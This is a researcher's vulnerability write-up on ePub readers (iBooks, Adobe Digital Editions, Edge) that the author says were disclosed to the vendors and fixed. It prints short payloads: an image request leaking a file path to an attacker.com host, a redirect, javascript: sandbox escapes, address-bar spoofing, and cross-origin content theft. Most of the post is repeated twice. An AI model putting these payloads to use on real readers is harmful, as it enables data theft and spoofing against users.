Today, I'll write about ePub file with some of my findings in ePub readers.
So What's ePub file?
EPUB is an e-book file format with the extension .epub that can be downloaded and read on devices like smartphones, tablets, computers, or e-readers.And in technical implementation
An EPUB file is a ZIP archive that contains, in effect, a website—including HTML files, images, CSS style sheets, and other assets. It also contains metadata. EPUB 3 is the latest version. By using HTML5, publications can contain video, audio, and interactivity, just like websites in web browsers.https://en.wikipedia.org/wiki/EPUB
In short, ePub file is a Zip archive that contains a Book built with web technologies such as (X)HTML files, CSS style sheets, images like SVG, and if Reader supports, it could contain JS, PDF, Flash, and so on.
Specification of ePub is published by IDPF. And some interesting points in the Spec are:
- Javascript support is optional. Reader may or may not support Javascript.
- EPUB Publication can create security considerations that are different from scripting within a Web browser.
But Spec does not talk about what scheme or protocol should Reader use to load ePub contents. So each reader has their own way of implementing this with or without JS.
Well, Let's see what could go wrong.
iBooks
iBooks is an ePub reader developed by Apple. It uses Webkit for rendering ePub contents and it supports Javascript.
While I was testing iBooks, I noticed something.
First thing I noticed was that they use file scheme to serve ePub contents. And second thing I noticed was they doesn't allow external website to load inside iframe but they do allow external image to be loaded. So just doing following could leak victim's PC user name.
<img>
<script>
document.querySelector(“img”).src = “http:// attacker.com/sample.png?” + location.href;
</script>
And even worse, Victim's local file could be leaked. See @craig_arendt's blog post for more details. And I also recommend you to read how he hacked online services using ePub file.
Back to the story, I tried to redirect ePub content to external website using script like location.replace(). But iBooks did not allow redirect. Seeing that iBooks prevents external iframe as well as redirect to external website, I was sure if I could find a way to do so, they would most likely consider it as a vulnerability. So after a bit of kick and punch, I came up with redirect.
<script>
setTimeout('location.replace("https://attacker.com")');
</script>
But instead of opening external website in iBooks, it opened website with default browser😬 Anyways, I've reported this and it's now fixed.
Adobe Digital Editions
ADE is ePub reader developed by Adobe. ADE on Windows uses IE for rendering ePub contents. Wondering how I came to know that ADE uses IE on Windows? See this.
Hehehe😜 Anyways, I won't talk about ADE much because I don't want to say something that Adobe might consider as a vulnerability. So below are the key points.
Edge ePub Reader
Microsoft Edge has built-in ePub Reader. Edge ePub reader is different from previous readers in 2 ways.
"location.host" part of ms-epub URL is random string and it changes every time you load ePub file.
Now let's see how Edge restricts Javascript in ePub reader.
So Edge ePub reader (bookviewer.htm) loads user content inside iframe sandbox with "allow-same-origin allow-popups". Because "allow-scripts" is not added to sandbox attribute, user content loses ability to execute Javascript.
So is it impossible to execute Javascript? Let's dig more deeper. While testing with ePub files, I noticed that website opened from ePub file could execute Javascript. That's strange😕 "allow-popups" will allow popups but popups created by sandboxed content should have affect of sandbox too. So in this case, web site opened by sandboxed content should not have ability to execute Javascript. Anyways, it seems like Edge implemented "allow-popups-to-escape-sandbox" silently inside ePub reader (Note that Edge does not support "allow-popups-to-escape-sandbox" yet). And more interestingly, opened website has opener set to bookviewer.htm, the ePub reader! So to execute Javascript in the context of ePub reader, we need to create a link which has script capability as well as same origin with ePub reader. Well, this must be it!!
<a href=“javascript:opener.alert(opener.location)”>Go!</a>
Yes!!! Now let's see if we have other way to execute Javascript. How about framing ePub file? But doing something like "<iframe src='https://shhnjk.com/test.epub'>" would download ePub file instead of loading them. What if we frame with ms-epub protocol like below?
<iframe src=“ms-epub://96686CC7-2FED-49BCBA9F-3FA638E084D0/Assets/bookviewer.htm?url=https%3A%2F%2Fshhnjk.com%2Ftest.epub”>
Yes!!! Even though "location.host" part of ms-epub was random string, we could reuse previously used string to load ePub file again! So we will load user content which contains script and game over right?
<iframe src=“ms-epub://96686CC7-2FED-49BCBA9F-3FA638E084D0/Content/OEBPS/Text/chapter-1.xhtml”>
It seems like Edge can't load user content directly because Edge doesn't know where is this content served from. So let's teach Edge what we want her to load😀
<iframe src=“ms-epub://96686CC7-2FED-49BCBA9F-3FA638E084D0/Assets/bookviewer.htm?url=https://shhnjk.com/alert.epub”></iframe>
<script>
setTimeout(function(){
frames[0].location.replace(“ms-epub://96686CC7-2FED-49BCBA9F-3FA638E084D0/Content/OEBPS/Text/chapter-1.xhtml”)
},3000)
</script>
<!-- code in chapter-1.xhtml -->
<script>alert(location)</script>
First, we will load ePub file with bookviewer.htm so that Edge would know user content inside that ePub file. And then we will redirect frame to user content itself which contains Javascript. But as it's our iframe hosted on our website, there's no sandbox😎
Okay. We understood that we've bypassed the restriction 2 times and executed Javascript in the context of ePub reader. But how can we exploit this vulnerability? Well, I guess everyone noticed the url parameter in bookviewer.htm. It seems like whatever specified in url parameter is displayed in the address bar. So let's use this thought with first bypass.
<a href=“javascript:opener.location.search='?url=https://www.google.com';
opener.document.write('<title>Google</title>This is Google.com'); window.close()”>Go</a>
Okay, this worked as expected! Further testing on url parameter, I noticed that we could actually load any cross origin ePub file using url parameter. And even if we change url parameter, origin of ePub reader remains same, so we have full access to content of cross origin ePub files!!
<!-- from attacker.com/evil.epub -->
<a href=“javascript:opener.location.search=‘?url=https://shhnjk.com/test.epub';setInterval(function(){alert(opener.frames[0].document.body.innerHTML)},1000)”>Go</a>
So we could abuse ePub reader JS execution to spoof address bar and also to steel information from cross origin ePub file.
The vulnerable version of ePub reader was only available to Windows Insiders for 3 months and after I reported this to MSRC, they've fundamentally fixed the ePub reader issues. So ePub reader release with Creators Update has some mitigations.
Well, Let's see what could go wrong.
iBooks
iBooks is an ePub reader developed by Apple. It uses Webkit for rendering ePub contents and it supports Javascript.
While I was testing iBooks, I noticed something.
First thing I noticed was that they use file scheme to serve ePub contents. And second thing I noticed was they doesn't allow external website to load inside iframe but they do allow external image to be loaded. So just doing following could leak victim's PC user name.
<img>
<script>
document.querySelector(“img”).src = “http:// attacker.com/sample.png?” + location.href;
</script>
And even worse, Victim's local file could be leaked. See @craig_arendt's blog post for more details. And I also recommend you to read how he hacked online services using ePub file.
Back to the story, I tried to redirect ePub content to external website using script like location.replace(). But iBooks did not allow redirect. Seeing that iBooks prevents external iframe as well as redirect to external website, I was sure if I could find a way to do so, they would most likely consider it as a vulnerability. So after a bit of kick and punch, I came up with redirect.
<script>
setTimeout('location.replace("https://attacker.com")');
</script>
But instead of opening external website in iBooks, it opened website with default browser😬 Anyways, I've reported this and it's now fixed.
Adobe Digital Editions
ADE is ePub reader developed by Adobe. ADE on Windows uses IE for rendering ePub contents. Wondering how I came to know that ADE uses IE on Windows? See this.
Hehehe😜 Anyways, I won't talk about ADE much because I don't want to say something that Adobe might consider as a vulnerability. So below are the key points.
- Javascript is supported.
- ePub content is served from localhost.
- It's IE! Flash, Adobe Reader, and ActiveXObject are supported. Off course, port is not considered to be part of SOP.
Edge ePub Reader
Microsoft Edge has built-in ePub Reader. Edge ePub reader is different from previous readers in 2 ways.
- Javascript is restricted.
- You can read web hosted ePub files without download.
Now let's see their implementation!
When you navigate to ePub file, it seems like it's just loaded as it is. But in the backend, it is redirected to ms-epub protocol like below.
"location.host" part of ms-epub URL is random string and it changes every time you load ePub file.
Now let's see how Edge restricts Javascript in ePub reader.
So Edge ePub reader (bookviewer.htm) loads user content inside iframe sandbox with "allow-same-origin allow-popups". Because "allow-scripts" is not added to sandbox attribute, user content loses ability to execute Javascript.
So is it impossible to execute Javascript? Let's dig more deeper. While testing with ePub files, I noticed that website opened from ePub file could execute Javascript. That's strange😕 "allow-popups" will allow popups but popups created by sandboxed content should have affect of sandbox too. So in this case, web site opened by sandboxed content should not have ability to execute Javascript. Anyways, it seems like Edge implemented "allow-popups-to-escape-sandbox" silently inside ePub reader (Note that Edge does not support "allow-popups-to-escape-sandbox" yet). And more interestingly, opened website has opener set to bookviewer.htm, the ePub reader! So to execute Javascript in the context of ePub reader, we need to create a link which has script capability as well as same origin with ePub reader. Well, this must be it!!
<a href=“javascript:opener.alert(opener.location)”>Go!</a>
Yes!!! Now let's see if we have other way to execute Javascript. How about framing ePub file? But doing something like "<iframe src='https://shhnjk.com/test.epub'>" would download ePub file instead of loading them. What if we frame with ms-epub protocol like below?
<iframe src=“ms-epub://96686CC7-2FED-49BCBA9F-3FA638E084D0/Assets/bookviewer.htm?url=https%3A%2F%2Fshhnjk.com%2Ftest.epub”>
Yes!!! Even though "location.host" part of ms-epub was random string, we could reuse previously used string to load ePub file again! So we will load user content which contains script and game over right?
<iframe src=“ms-epub://96686CC7-2FED-49BCBA9F-3FA638E084D0/Content/OEBPS/Text/chapter-1.xhtml”>
It seems like Edge can't load user content directly because Edge doesn't know where is this content served from. So let's teach Edge what we want her to load😀
<iframe src=“ms-epub://96686CC7-2FED-49BCBA9F-3FA638E084D0/Assets/bookviewer.htm?url=https://shhnjk.com/alert.epub”></iframe>
<script>
setTimeout(function(){
frames[0].location.replace(“ms-epub://96686CC7-2FED-49BCBA9F-3FA638E084D0/Content/OEBPS/Text/chapter-1.xhtml”)
},3000)
</script>
<!-- code in chapter-1.xhtml -->
<script>alert(location)</script>
First, we will load ePub file with bookviewer.htm so that Edge would know user content inside that ePub file. And then we will redirect frame to user content itself which contains Javascript. But as it's our iframe hosted on our website, there's no sandbox😎
Okay. We understood that we've bypassed the restriction 2 times and executed Javascript in the context of ePub reader. But how can we exploit this vulnerability? Well, I guess everyone noticed the url parameter in bookviewer.htm. It seems like whatever specified in url parameter is displayed in the address bar. So let's use this thought with first bypass.
<a href=“javascript:opener.location.search='?url=https://www.google.com';
opener.document.write('<title>Google</title>This is Google.com'); window.close()”>Go</a>
Okay, this worked as expected! Further testing on url parameter, I noticed that we could actually load any cross origin ePub file using url parameter. And even if we change url parameter, origin of ePub reader remains same, so we have full access to content of cross origin ePub files!!
<!-- from attacker.com/evil.epub -->
<a href=“javascript:opener.location.search=‘?url=https://shhnjk.com/test.epub';setInterval(function(){alert(opener.frames[0].document.body.innerHTML)},1000)”>Go</a>
So we could abuse ePub reader JS execution to spoof address bar and also to steel information from cross origin ePub file.
The vulnerable version of ePub reader was only available to Windows Insiders for 3 months and after I reported this to MSRC, they've fundamentally fixed the ePub reader issues. So ePub reader release with Creators Update has some mitigations.
- Protocol has changed to ms-local-stream which is not framable (AFAIK)
- "location.host" part is no more reusable (same "location.host" on different frame or window wouldn't work anymore)
- url parameter has been removed (attacker needs to find new way to exploit even if they have JS execution on ePub reader)
This was great work from MSRC and EdgeDev in just 3 months! Thanks and awaiting for bounty💰😬
Sorry for the long post and thank you for reading!! Hope you enjoyed😁
Jun